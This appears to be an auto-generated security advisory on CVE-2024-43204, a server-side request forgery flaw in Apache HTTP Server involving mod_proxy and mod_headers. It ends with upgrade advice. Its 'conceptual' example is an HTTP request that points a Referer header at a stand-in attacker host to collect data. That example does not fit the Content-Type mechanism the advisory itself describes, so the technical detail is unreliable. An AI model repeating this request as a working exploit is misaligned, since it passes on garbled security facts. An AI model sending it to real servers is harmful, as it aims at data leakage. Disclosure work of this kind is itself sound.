Overview
This report details the Server-Side Request Forgery (SSRF) vulnerability found in the Apache HTTP Server when mod_proxy is loaded. It affects users working with Apache HTTP Server versions prior to 2.4.64 that have an unlikely configuration of mod_headers, making their systems susceptible to potential compromise and data leakage. The severity of this vulnerability highlights the critical need for immediate remediation.
Vulnerability Summary
CVE ID: CVE-2024-43204
Severity: High (7.5 CVSS)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage
Affected Products
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Product | Affected Versions
Apache HTTP Server | Prior to 2.4.64
How the Exploit Works
The exploit works by sending outbound proxy requests to a URL controlled by an attacker. This is made possible when mod_headers is configured to modify the Content-Type request or response header with a value provided in an HTTP request. An attacker can therefore control the destination of the server’s HTTP request, potentially leading to unauthorized access and data leakage.
Conceptual Example Code
An example of how this vulnerability might be exploited is shown below. This HTTP request uses a malicious URL as the `Referer` header, which the vulnerable server might process and send a request to, revealing sensitive data.
GET / HTTP/1.1
Host: vulnerable.example.com
Referer: http://malicious-attacker.com/collect-data
Mitigation Steps
Users are advised to upgrade to Apache HTTP Server version 2.4.64 where this vulnerability has been fixed. If users are unable to upgrade immediately, implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation against potential attacks. However, these measures are not a long-term solution and upgrading should be prioritized to ensure complete protection.

